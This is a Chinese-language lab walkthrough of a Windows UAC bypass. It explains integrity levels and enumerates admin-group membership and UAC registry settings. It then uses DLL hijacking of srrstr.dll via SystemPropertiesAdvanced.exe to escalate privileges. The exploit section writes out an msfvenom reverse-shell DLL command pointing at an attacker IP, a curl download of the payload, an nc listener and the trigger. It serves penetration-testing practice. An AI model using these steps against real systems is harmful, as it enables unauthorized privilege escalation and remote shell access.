通过一次在靶机上练习的全过程,记录了包括如何针对特定 Windows 版本实施 UAC 绕过,并在成功提权后获取完整权限的Shell。
UAC介绍什么是 UAC(用户帐户控制)用户帐户控制(UAC)是 Windows 操作系统中的一项功能,旨在在执行需要更高权限的操作时,弹出提示要求用户确认或输入管理员凭据。
UAC 的工作机制应用程序具有不同的完整性级别(Integrity Levels)。完整性级别决定了程序在系统中的权限,例如“低”、“中”、“高”或“系统”级别。高完整性级别的程序可以执行可能危及系统的操作,如修改系统文件、安装驱动等。启用 UAC 时,即使是管理员账户登录,默认情况下启动的程序也以“标准用户权限”运行,除非用户明确授权,程序才会获得“管理员权限”。
相关信息枚举拿到sarah用户,经过枚举检查已经在本地管理员组,但是通过检查权限发现还是只有普通用户权限。
管理员组枚举net localgroup administrators
可以看见用户sarah属于本地管理员组。
权限确认whoami /priv
但是可以看见目前只有普通用户权限。接下来确认是否有UAC开启
确认UAC是否启用REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
可以看见UAC已经启用
确定级别REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
ConsentPromptBehaviorAdmin的值为0x5,代表最高UAC级别已经启用。
检查Windows版本我们可以检查一下”Windows build“版本号:
[environment]::OSVersion.Version
可以看见build版本为14393,接下来使用如下网站上的win10历史版本网站查询。
Windows 10 version history
可以看见,对应的是1607。这里UACME项目维护了一个UAC绕过列表。包括受影响的Windows build编号和所使用的方法以及微软是否发布了更新来修复。
这里我们可以使用54号,可以看见从Windows 10 14393版本开始有效。该UAC绕过方法是使用32位二进制文件SystemPropertiesAdvanced.exe。Google一下相关利用方法可以看见这篇文章
system-properties-uac-bypass
该文章描述使用 Procmon 等工具,发现SystemPropertiesAdvanced.exe 在启动时尝试加载的 DLL 文件路径。发现该程序尝试从C:\Users\<用户名>\AppData\Local\Microsoft\WindowsApps目录加载srrstr.dll,而该目录对普通用户具有写权限。作者使用一个用于生成calc.exe的DLL保存到WindowsApps文件夹。再次执行“SystemPropertiesAdvanced.exe”(来自中等完整性级别的命令提示符),并以高完整性级别进程生成calc.exe
Dll加载顺序当二进制程序尝试定位一个DLL时,Windows将使用以下搜索顺序。
1. 应用程序加载的目录。
2. 64位系统的系统目录 C:\Windows\System32。
3. 16位系统目录 C:\Windows\System(64位系统不支持)
4。Windows目录。
5。 在PATH环境变量中列出的任何目录。
查看PATHcmd /c echo %PATH%
查看文件权限icacls "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\"
发现我们有F权限,即“Full access”,如下:
我们将通过将恶意srrstr.dll放置在WindowsApps文件夹中,利用DLL劫持来绕过UAC。
利用和绕过生成恶意srrstr.dll
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.157 LPORT=443 -f dll > srrstr.dll
下一步将dll上传到windows目标,
kali:
python3 -m http.server 80
windows:
curl http://10.10.14.157/srrstr.dll -O "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll"
上传成功。然后监听443端口
kali:
rlwrap -cAr nc -lvnp 443
利用SystemPropertiesAdvanced.exe现在,在靶机执行SystemPropertiesAdvanced.exe 32位版本。
C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
成功,可以看到我们现在有了管理员组成员的全部权限配置。